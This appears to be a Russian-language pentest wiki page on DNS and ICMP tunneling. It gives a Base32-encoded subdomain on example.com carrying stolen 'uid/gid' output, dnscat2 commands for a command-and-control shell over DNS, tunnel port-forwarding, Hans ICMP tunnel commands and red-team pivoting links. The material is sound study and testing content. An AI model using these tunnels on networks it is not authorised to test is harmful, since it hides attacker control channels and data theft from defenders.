?????????????? ??????? ?????? ??? ??????? ???????

Используют нестандартные протоколы (DNS и ICMP), позволяя обойти блокировки или скрыть факт передачи данных.

DNS-туннелирование

DNS-туннелирование (DNS Tunneling) — использование DNS-протокола для передачи данных между компьютерами в
сети. Одним из способов реализации DNS-туннелирования является использование поддоменов.

Пример:

```
OVUWIPJRGAYDCKDSMVTXK3DBOIUSAZ3JMQ6TSOJZFBZGKZ3VNRQXEKI.example.com
```

В имени поддомена закодирована строка: uid=1001(regular) gid=999(regular)

Другим способом реализации DNS-туннелирования является использование поля "OPCODE" в запросах DNS.
Поле "опкод" обычно используется для указания типа запроса (например, запрос на получение записи или запрос на обновление записи), но может также использоваться для передачи полезной нагрузки, включая команды или файлы.

Максимальная длина “OPCODE” равна 4 битам (0-16).

Особые условия DNS-туннелирования

- Максимум 253 символа в домене.
- Максимум 63 символа на поддомен.
- Нечувствительность к регистру (поэтому мы используем кодировку Base32).
- TXT-запрос для получения максимального количества символов в ответе.

Особенности использования DNS-туннеля: рекурсивные запросы

Такие запросы позволяют не использовать прямое соединение с сервером управления или прокси, чтобы получать доступ. Это поведение может быть очень полезно в изолированном периметре или сети с ограничениями к соединениям между узлами.

Утилиты для DNS-туннелирования

DNSCAT2 — инструмент, предназначенный для создания зашифрованного командно-контрольного канала (C&C) через протокол DNS, который является эффективным туннелем практически из любой сети

Iodine — программное обеспечение, позволяющее туннелировать данные IPv4 через сервер DNS сервер. Это может быть полезно в различных ситуациях, когда доступ в интернет исключен, но DNS-запросы разрешены.

Пример работы с DNSCAT2:

```
Запуск сервера:
./dnscat2.rb our-domain-server.org
Запуск клиента:
./dnscat2 our-domain-server.org
```

При подключении клиента к серверу вы сможете управлять с сервера терминальной оболочкой, исполняющей команды на агенте.

Пример проброса туннелирования трафика через DNS-туннель:

listen 4444 10.0.1.3:80 — поднимет на стороне сервера порт 4444, который будет отправлять трафик на узел 10.0.1.3 на порт 80 на стороне агента

ICMP-туннелирование

ICMP-туннель — скрытый канал для передачи данных, организованный между двумя узлами, использующий IP-пакеты с типом
протокола ICMP.

Пример инструмента:

Hans — делает возможным туннелирование IPv4 через эхо-пакеты ICMP, поэтому его можно назвать туннелем для пинга. Это
может быть полезно в ситуации, когда доступ в Интернет перекрыт, но пинги разрешены.

Для запуска в качестве сервера (от имени root):
./hans -s 10.1.2.0 -p password — это создаст новое tun-устройство и назначит ему IP 10.1.2.1

Для запуска в качестве клиента (от имени root):
./hans -c server_addess -p пароль — это позволит подключиться к серверу по адресу "server_addess", создать новое tun-устройство и назначить ему IP из сети 10.1.2.0/24

Теперь вы можете запустить прокси на сервере или позволить ему действовать как маршрутизатор и использовать NAT, чтобы
разрешить клиентам доступ в Интернет.

Дополнительно

- Доклад о загрузке шеллкодов через ДНС-туннели
- Популярные способы проброса трафика
- Об обнаружении ДНС-туннелей

- Socat - практика
- Tunneling and port forwarding
- Defeating the network security infrastructure

- SOCKSP прокси через веб шелл
- ICMP туннелирование
- DNS туннелирование
- Iodine
- Dnscat2
- Rpivot
- Pecypc gtfobins
- Linux-privilege-escalation

□□ В дополнение:

- sensepost/reGorg
- Invoke-SocksProxy
- securesocketfunneling ssf

□□ Гайды, подсказки и статьи:

- A Red Teamer's guide to pivoting
- Шпаргалки по pivoting
- Материал по Pivoting от Offensive Security
- Network pivoting like a pro
- SSH Pentesting Guide
- A Pivot Cheatsheet for Pentesters

□□ Инструменты:

- ProxyChains-NG
- RPIVOT
- reGeorg

Revision #1
Created 8 October 2025 17:33:24 by Admin
Updated 8 October 2025 17:43:30 by Admin